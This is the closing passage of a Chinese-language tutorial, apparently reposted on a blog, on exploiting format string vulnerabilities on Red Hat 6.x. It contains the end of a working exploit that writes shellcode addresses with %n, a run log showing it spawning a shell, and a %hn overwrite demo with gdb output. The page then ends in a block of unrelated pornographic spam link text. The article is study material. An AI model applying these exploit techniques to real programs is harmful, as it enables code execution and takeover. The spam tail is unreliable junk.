            ???? sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
            ????????????? (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
            ?
            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul","vul",buff + align, NULL,env);?????????
            }? /* end of main */????

            <- end ->?

            驗證一下:
            [warning3@rh62 format]$ ./exp3
            Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
            Using RET location address: 0xbffffabc
            Using Shellcode address: 0xbffffcfa
            argv[1] = AA賤緼AAA晉緼AAA菌緼AAA窺?c%c%c%c%206c%n%2c%n%3c%n%192c%n
            bash$ id
            uid=500(warning3) gid=500(warning3) groups=500(warning3)
            這個程序在redhat 6.1和redhat 6.2下均驗證通過


            <4> 攻擊方法三:多次覆蓋返回地址(利用%hn)
            =========================================

            在drow的statd-toy.c中又提供了一種方法:利用%hn,它會覆蓋一個字的高16位:

            main()
            {
            int a=0x41414141;
            printf("a=%#x%hn\n",a,&a);
            printf("a=%#x\n",a);
            }

            [warning3@redhat-6 wuftp]$ ./aa
            a=0x41414141
            a=0x4141000c

            <....>用gdb看一下:
            (gdb) b 5
            Breakpoint 1 at 0x80483ea: file aa.c, line 5.
            (gdb) r
            Starting program: /home/warning3/wuftp/./aa
            a=0x41414141

            Breakpoint 1, main () at aa.c:5
            5??????? printf("a=%#x\n",a);
            (gdb) p &a
            $1 = (int *) 0xbffffcb4
            (gdb) x/4b 0xbffffcb4
            0xbffffcb4:???? 0x0c??? 0x00??? 0x41??? 0x41

            因此我們只要覆蓋兩次就可以了,具體的方法和前面相似,有興趣的讀者可以自行測試一下。
            這種方法的好處是我們不會覆蓋多余的地址,它只覆蓋指定地址的兩個字節內容!


            綜合上面的幾種方法,我們會看到第三和第四種方法是最通用的,可以適用于各種情況。第
            一種和第二種都有其自己的局限性,更多的依賴于應用程序自身的特點。

            不過這幾種方法都由一個局限,就是必須非常精確的給定存放返回地址的地址:retloc,錯一
            個字節也不行。這使攻擊的成功率大打折扣。回憶一下原來的普通exploit為什么容易成功,
            是因為它通常使用一串返回地址來填充堆棧,只要能覆蓋返回地址retloc就可以了,并不需要
            知道retloc確切的值。而這里,我們必須精確指定retloc,將shellcode地址直接填充到返回地
            址中去。而由于retloc的大小和用戶環境變量等因素有很大關系,往往不是很確定,不是那么
            容易就一次成功的。那么如果我們能夠指定一串retloc,retloc+4,retloc+8...,分別將
            shellcode地址存到這些地址去,那么我們不就可以增大成功的把握了嗎?利用第4種方法,使
            很容易做到這一點的。具體的操作有興趣的讀者可以自行測試,也可以與我聯系。


            另外,%n并不僅僅局限于用來覆蓋返回地址,也可以用來覆蓋某些保存的數據,比如保存
            的uid,gid等等。

            結束語
            ========

            這種格式化串導致的溢出問題,雖然看起來比較復雜,實際上只要程序員在書寫應用程序
            時稍加注意,是完全可以避免的。看來粗心真的是安全的大敵。:-) 由于時間倉促,文中
            錯疏之處難免,敬請批評指正。


            參考文獻
            ==========
            [1] <<Format Bugs: What are they, Where did they come from,.........
            ????? How to exploit them>> , lamagra (lamagra@digibel.org)
            [2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
            [3] <<More info on format bugs>>,? Pascal Bouchareine [ kalou <pb@grolier.fr> ]
            posted on 2006-10-20 20:55 Asp 閱讀(703) 評論(0)  編輯 收藏 引用 所屬分類: Binary Life...
            欧美黑人激情性久久| 香港aa三级久久三级老师2021国产三级精品三级在 | 久久精品中文字幕久久| 伊人久久精品线影院| 久久久精品人妻无码专区不卡| 麻豆久久久9性大片| 久久九九有精品国产23百花影院| 人人狠狠综合久久亚洲高清| 亚洲级αV无码毛片久久精品 | 精品久久人人妻人人做精品| 久久精品国产亚洲AV蜜臀色欲| 久久免费美女视频| 久久婷婷五月综合97色一本一本| yellow中文字幕久久网| 欧美牲交A欧牲交aⅴ久久| 午夜精品久久久久久影视777| 国产精品禁18久久久夂久| 无码八A片人妻少妇久久| 久久久久国色AV免费看图片| 国产精品久久成人影院| 亚洲欧美日韩中文久久| 久久人人爽人人爽人人片AV高清| 国产午夜精品久久久久九九电影| AV无码久久久久不卡蜜桃| 中文字幕热久久久久久久| 思思久久99热只有频精品66| 国产精品青草久久久久福利99| 国产精品久久久久无码av| 99国产欧美久久久精品蜜芽 | 一本综合久久国产二区| 久久99精品久久久久久野外| 国产成人综合久久精品尤物| 欧美精品一区二区精品久久 | 久久婷婷五月综合97色| 久久久久99精品成人片直播| 久久天天躁狠狠躁夜夜网站| 亚洲中文字幕久久精品无码APP | 99精品国产综合久久久久五月天 | 久久精品国产精品青草| 久久国产精品-国产精品| 99久久精品无码一区二区毛片 |